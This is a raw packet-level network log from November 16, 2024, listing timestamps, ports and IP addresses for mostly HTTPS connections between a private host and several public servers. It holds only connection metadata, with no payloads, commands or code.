Nov 16, 2024 13:01:29.217216969 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.217252970 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.217288971 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.217436075 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.220469952 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.220930099 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.221005917 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.224062920 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.224154949 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.225225925 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.225425959 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.230182886 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.230345011 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.230416059 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.240236044 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.240272999 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.240291119 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.240299940 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.241395950 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.241416931 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.241449118 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.241455078 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.242202044 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.242213964 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.242430925 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.242439985 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.243346930 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.243352890 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.243366957 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.243372917 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.244503021 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.244503021 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.244534016 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.244555950 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.278300047 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.278419018 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.278883934 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.279697895 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.279762030 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.280488968 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.280725002 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.280746937 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.281667948 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.281688929 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.281718016 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.282620907 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.282666922 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.282670975 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.282733917 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.285209894 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.285242081 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.285290956 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.285325050 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.285363913 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.285398960 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.285547018 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.285578966 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.285631895 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.285659075 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.402426004 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.402483940 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.402493000 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.402520895 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.402555943 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:29.402564049 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.402571917 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.402632952 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:29.402632952 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:29.402895927 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.403022051 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:29.403026104 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.403470993 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.403546095 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:30.005948067 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.017611980 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.021147966 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.027757883 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.034591913 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.058581114 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.074115992 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.074173927 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.074227095 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.074228048 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.417628050 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.417712927 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.418005943 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.418021917 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.419600010 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.419629097 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.420178890 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.420191050 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.507229090 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.507288933 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.507849932 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.507863998 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.542982101 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.543013096 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.546062946 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.546238899 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.546303988 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.546395063 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.546530962 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.546586990 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.549995899 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.550008059 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.550920010 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.550920010 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.550952911 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.550981998 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.552634954 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.552679062 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.553294897 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.553306103 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.632937908 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.633172989 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.633275986 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.676059008 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.676278114 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.676350117 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:30.680730104 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.680888891 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:30.680970907 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.017780066 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.017795086 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.017824888 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.017832041 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.017857075 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.017859936 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.017874956 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.017879009 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.030925035 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.030957937 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.031045914 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.035629988 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.035629988 CET	49768	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.035672903 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.035697937 CET	443	49768	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.036962032 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.036962032 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.036981106 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.037008047 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.063273907 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.063357115 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.063438892 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.063523054 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.063538074 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.097724915 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:31.097724915 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:31.097743988 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:31.097752094 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:31.142373085 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:31.142414093 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:31.142476082 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:31.144000053 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:31.144032955 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:31.149410963 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.149440050 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.187664032 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.187702894 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.187803030 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.229654074 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.229670048 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.327294111 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.327347040 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.327428102 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.337899923 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.337938070 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.338087082 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.385339975 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.385374069 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.400068045 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:31.400094032 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.902930975 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:31.979224920 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.010715008 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.010727882 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.012829065 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.012836933 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.029516935 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.031303883 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.038800955 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.038822889 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.039438009 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.039443970 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.071530104 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.071602106 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.072140932 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.072159052 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.117861986 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.132622957 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.136571884 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.137155056 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.137271881 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.149096966 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.149128914 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.149601936 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.149614096 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.151249886 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.151268959 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.151933908 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.151940107 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.160100937 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.160126925 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.160235882 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.160243988 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.163599014 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.164057970 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.164475918 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.164506912 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.164519072 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.164618969 CET	49780	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.164627075 CET	443	49780	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.188606024 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.188638926 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.189033985 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.189177990 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.189199924 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.191029072 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.191076994 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.191147089 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.191294909 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.191330910 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.196871042 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.197288036 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.197361946 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.197678089 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.197678089 CET	49774	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.197704077 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.197726965 CET	443	49774	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.211134911 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.212766886 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.212785006 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.213792086 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.213871002 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.221297979 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.221381903 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.221605062 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.221636057 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.275001049 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.275163889 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.275245905 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.283638954 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.283791065 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.283945084 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.320146084 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.320154905 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.320154905 CET	49782	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.320200920 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.320213079 CET	443	49782	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.320219994 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.320231915 CET	49781	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.320252895 CET	443	49781	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.331548929 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.334928989 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.334985018 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.335439920 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.347815037 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.347847939 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.347918034 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.350487947 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.350503922 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.351089954 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.351109028 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.364165068 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.364218950 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.364486933 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.364633083 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.364665031 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.459153891 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.570677042 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.570784092 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.643469095 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.643507004 CET	443	49779	94.245.104.56	192.168.2.5
Nov 16, 2024 13:01:32.643522978 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.643639088 CET	49779	443	192.168.2.5	94.245.104.56
Nov 16, 2024 13:01:32.692239046 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:32.692280054 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:32.692483902 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:32.693928003 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:32.693948984 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:32.926933050 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.927639008 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.927686930 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.928106070 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.928113937 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.931881905 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.933048010 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.933094025 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:32.943882942 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:32.943898916 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.056653023 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.056782961 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.056833982 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.070204020 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.070364952 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.070425034 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.100204945 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.106026888 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.111008883 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.111088991 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.111816883 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.111833096 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.111990929 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.112040997 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.112061024 CET	49784	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.112068892 CET	443	49784	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.113745928 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.113812923 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.113867044 CET	49783	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.113884926 CET	443	49783	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.115792990 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.115816116 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.116328001 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.116333961 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.122945070 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.126993895 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.127018929 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.127576113 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.127583027 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.241741896 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.241890907 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.243535042 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.244849920 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.245263100 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.248481989 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.261629105 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.261789083 CET	443	49787	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.261887074 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.305788040 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.305915117 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:33.550440073 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.550441027 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.550481081 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.550504923 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.551681995 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.551713943 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.551728964 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.551737070 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.551963091 CET	49787	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.551985025 CET	443	49787	13.107.246.45	192.168.2.5
